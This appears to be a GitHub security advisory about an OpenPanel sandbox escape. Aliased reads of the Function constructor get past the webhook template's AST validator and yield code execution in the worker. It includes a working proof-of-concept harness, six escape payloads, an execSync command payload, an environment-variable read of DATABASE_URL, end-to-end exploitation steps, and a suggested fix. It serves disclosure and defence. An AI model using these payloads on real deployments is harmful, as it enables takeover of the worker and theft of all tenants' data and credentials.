ghcr.io/openpanel-dev/worker: Webhook JavaScript template can escape the validator sandbox via an aliased Function constructor
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
OpenPanel lets a project member attach a JavaScript template to a webhook integration (mode: 'javascript' + javascriptTemplate). The template is checked by an AST allowlist (validate() in packages/js-runtime/src/validate.ts) and then compiled with new Function() in the worker process (packages/js-runtime/src/execute.ts), which is the process holding the database, ClickHouse, Redis and third-party integration credentials.
The allowlist is not an isolation boundary, and a whole family of forms walks past it: a template may read a forbidden property (constructor, __proto__, prototype) as long as it does not call it as a member call and does not assign through it. payload.constructor.constructor is free to be copied into a local, and the local can then be called — the call is no longer a member expression, so the "only allowlisted methods" check never runs:
(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }validate() returns { valid: true }, execute() compiles it, and the returned function is the real Function constructor evaluated in global scope — arbitrary JavaScript, hence arbitrary commands, with the worker's privileges.
Affected component: apps/worker (notification delivery) + packages/js-runtime. Tested commit: 61a9245309c1efb906e2b06c5d8b6effbe30e4c2 (main, 2026-09-18). The JavaScript webhook-template feature landed in 286f8e16 (2026-01-23), so every version since then carries it.
Root cause
The validator's own comment states the incorrect assumption:
// packages/js-runtime/src/validate.ts:353-355 // Block writes that reach the prototype chain: payload.__proto__.x = 1, // payload['constructor'].prototype.y = 2. Reading these is already // handled by the call and 'new' checks above.
"Handled by the call checks" only holds when the read and the call are the *same* AST node. Both guards are keyed on node shape, not on the value being reached:
- Call targets (
validate.ts:276-331) — the block only runs whencallee.typeisMemberExpression/OptionalMemberExpression. Any other callee shape (anIdentifierbound to a local, aSequenceExpressionsuch as(0, x)(...), aCallExpressionsuch asx('...')()) is never inspected. When it *is* a member expression, onlyALLOWED_INSTANCE_METHODS(constants.ts:39-141) can reject.constructor, and only for the final property of the callee. - Assignment/update targets (
validate.ts:356-366) —forbiddenPropertyInChain()rejects__proto__/constructor/prototype, but only on the left-hand side of an assignment or update.
A read (const F = payload.constructor.constructor;) is neither, so no rule applies. Reading .constructor off a plain object yields Object; off Object it yields Function. The computed-access fix (validate.ts:293-297) and the re-validation added to execute() (execute.ts:16-19) do not cover it — execute() re-runs the same validate(), which accepts the template.
Steps to Reproduce
No deployment is needed to see the validator accept the template: the two files that decide everything can be bundled and run directly.
- Clone and pin the revision:
git clone https://github.com/openpanel-dev/openpanel && cd openpanel git rev-parse HEAD # 61a9245309c1efb906e2b06c5d8b6effbe30e4c2
- Bundle the real validator + executor (nothing stubbed):
mkdir -p work/src && cp packages/js-runtime/src/{validate.ts,ast-walker.ts,constants.ts,execute.ts} work/src/
printf "export { validate } from './validate';\nexport { execute } from './execute';\n" > work/src/index.ts
cd work && npm init -y && npm i @babel/parser esbuild
npx esbuild src/index.ts --bundle --platform=node --format=esm --outfile=build/runtime.mjs- Run the harness below (
node poc.mjs work/build/runtime.mjs). Output, verbatim:
### 1. forms the validator is supposed to refuse
blocked computed call target -> Computed property access on a call target is not allowed. Use a literal method name, e.g. value.toUpperCase().
blocked direct member call on .constructor -> Method '.constructor()' is not allowed. Only safe methods are permitted.
blocked new on a non-identifier callee -> The target of 'new' must be a plain identifier. Only 'new Date()' is permitted.
blocked dynamic import() -> Dynamic import() is not allowed
blocked __proto__ write via no-substitution template literal -> Assigning through '__proto__' is not allowed.
### 2. aliased-constructor forms (validator accepts all of them)
VALID (escape) aliased read of .constructor
VALID (escape) sequence-expression callee
VALID (escape) aliased read off an allowed instance method
VALID (escape) aliased read off an allowed global
VALID (escape) aliased read via destructuring
VALID (escape) aliased read off an array literal (payload-independent)
accepted: 6/6
### 3. execute() on the accepted template -> code runs in the host process
validate(rce) -> {"valid":true}
host command output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),968(docker),982(bluetooth),999(lpadmin)
marker file: RCE_MARKER
### 4. same escape with an empty payload object (no payload cooperation needed)
validate(rce2) -> {"valid":true}
worker env read from inside the template: (DATABASE_URL not set in this shell)
### 5. control: an ordinary template still works
validate(good) -> {"valid":true} | execute -> {"event":"signup","plan":"pro"}Harness (poc.mjs):
const { validate, execute } = await import(process.argv[2]);
const fs = await import('node:fs');
const payload = { name: 'signup', properties: { plan: 'pro' } };
const mustBeBlocked = [
['computed call target', `(payload) => payload['constructor']['constructor']('return 1')()`],
['direct member call on .constructor', `(payload) => payload.constructor.constructor('return 1')()`],
["new on a non-identifier callee", `(payload) => new (payload.constructor.constructor)('return 1')`],
['dynamic import()', `(payload) => import('node:fs')`],
['__proto__ write via template literal', '(payload) => { payload[`__proto__`].x = 1; return payload; }'],
];
const escapes = [
['aliased read of .constructor', `(payload) => { const F = payload.constructor.constructor; return F('return process.version')(); }`],
['sequence-expression callee', `(payload) => (0, payload.constructor.constructor)('return process.version')()`],
['aliased read off an allowed instance method', `(payload) => { const F = payload.hasOwnProperty.constructor; return F('return process.version')(); }`],
['aliased read off an allowed global', `(payload) => { const F = JSON.parse.constructor; return F('return process.version')(); }`],
['aliased read via destructuring', `(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return process.version')(); }`],
['aliased read off an array literal', `(payload) => { const F = [].filter.constructor; return F('return process.version')(); }`],
];
for (const [name, code] of mustBeBlocked) {
const v = validate(code);
console.log(`${v.valid ? 'VALID (!!)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);
}
let accepted = 0;
for (const [name, code] of escapes) {
const v = validate(code);
if (v.valid) accepted++;
console.log(`${v.valid ? 'VALID (escape)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);
}
console.log(`accepted: ${accepted}/${escapes.length}`);
const rce = `(payload) => { const F = payload.constructor.constructor; return F('return import("node:child_process").then(m => m.execSync("id; echo RCE_MARKER > /tmp/openpanel_template_rce").toString().trim())')(); }`;
console.log('validate(rce) ->', JSON.stringify(validate(rce)));
console.log('host command output:', await execute(rce, payload));
console.log('marker file:', fs.readFileSync('/tmp/openpanel_template_rce', 'utf8').trim());- End-to-end on a self-hosted instance (a member with
writeon one project is enough —packages/trpc/src/routers/integration.ts:104-107,WRITE_LEVELS = { write, admin }inpackages/db/src/services/access.service.ts:9-16):
- Dashboard → project → Integrations → Webhook → Mode: JavaScript → paste the template into the "JavaScript Transform" field (
apps/start/src/components/integrations/forms/webhook-integration.tsx:238-246) and save. Equivalent:POST /trpc/integration.createOrUpdatewithconfig = { type: 'webhook', url, headers, mode: 'javascript', javascriptTemplate }(zWebhookConfig,packages/validation/src/integrations.ts:140-147). Save-time validation (packages/integrations/src/registry.ts:162-169) accepts the template. - Create a notification rule that attaches that integration (
POST /trpc/notification.createOrUpdateRule,packages/trpc/src/routers/notification.ts:80;zCreateNotificationRule,packages/validation/src/index.ts:457-466), e.g.config = { type: 'events', events: [{ name: 'signup', filters: [] }] }. - Send one matching event through the public tracking endpoint (
POST /track,apps/api/src/routes/track.router.ts:16-33). - The worker evaluates the project's rules on every ingested event (
apps/worker/src/jobs/events.incoming-event.ts:74→checkNotificationRulesForEvent,packages/db/src/services/notification.service.ts:301), enqueues the notification (notification.service.ts:164), andapps/worker/src/jobs/notification.ts:96→packages/integrations/src/registry.ts:175-182→execute()runs the template. The shell command is a side effect of the template, so it runs regardless of the webhook request's own outcome.
Proof of concept — every accepted form
- Aliased read of
.constructor:
(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }- Sequence-expression callee (callee is not a member expression, so the method allowlist never runs):
(payload) => (0, payload.constructor.constructor)('return 1')()- Read off an allowlisted instance method (
hasOwnPropertyis inALLOWED_INSTANCE_METHODS; the read is not a call target):
(payload) => { const F = payload.hasOwnProperty.constructor; return F('return 1')(); }- Read off an allowlisted global's method:
(payload) => { const F = JSON.parse.constructor; return F('return 1')(); }- Read via destructuring (
ObjectPatternkeys are treated as property keys and skipped):
(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return 1')(); }- Read off an array literal (needs no payload cooperation at all):
(payload) => { const F = [].filter.constructor; return F('return process.version')(); }- Command execution (
validate() -> {"valid":true},idoutput captured, marker written):
(payload) => { const F = payload.constructor.constructor; return F('return import("node:child_process").then(m => m.execSync("id; echo RCE_MARKER > /tmp/openpanel_template_rce").toString().trim())')(); }- Worker environment read with an empty payload (
validate() -> {"valid":true}):
(payload) => { const F = [].filter.constructor; return F('return process.env.DATABASE_URL || "(not set)"')(); }Negative controls, same harness and same run: the five forms the validator is documented to refuse are all still refused, and an ordinary template ((payload) => ({ event: payload.name })) still validates and executes normally.
Impact
A user with write on one project — the lowest role that can configure an integration — obtains arbitrary code execution in the worker process. From there: read/write of the platform database (all tenants' projects, events, users, and the encrypted integration credentials the worker itself decrypts), ClickHouse, Redis, object-store credentials, and outbound network access from inside the deployment. Because this is code execution in a shared process rather than a data-scoping bug, the impact applies to the whole deployment, not only the attacker's project.
Suggested fix
- Close the read hole in the validator. Reject any
MemberExpression/OptionalMemberExpression(read or write) whose *static* property name resolves toconstructor,prototypeor__proto__— non-computed identifiers,StringLiteral/ no-substitutionTemplateLiteralcomputed keys, andObjectPatternkeys (const { constructor: F } = payload) — regardless of the parent node type. Treat any callee that is not a plainIdentifieror a non-computed member expression as unresolvable and refuse it (SequenceExpression,ConditionalExpression,CallExpression, parenthesised chains, tagged templates). Keep theALLOWED_INSTANCE_METHODScheck, but apply it to the *resolved* method name of every member read, not only call targets. - Stop relying on source filtering for isolation. Run templates in a real boundary — a
node:vmcontext whose global is a curated, null-prototype sandbox (noprocess, norequire, noFunction), or a separate worker/isolated-vmwith the host API passed in explicitly. AST allowlists over attacker-supplied source are a known-losing design; note thatnode:vmis itself not a security boundary for hostile code unless the code runs in a separate isolate.
Notes
- Standalone issue: it is a different hole from GHSA-rqpr-2wvr-29pf / CVE-2026-93985 (computed member access on a call target, fixed by
e6339b3), which is mentioned only for context. - Credit: Kaya Emre Arikan @kemrec
Text from GitHub Advisory Database
Affected versions 1
- ghcr.io/openpanel-dev/worker, othermain (rolling tag): every image build from 286f8e16 (2026-01-23) through 61a92453 (2026-09-18)GitHub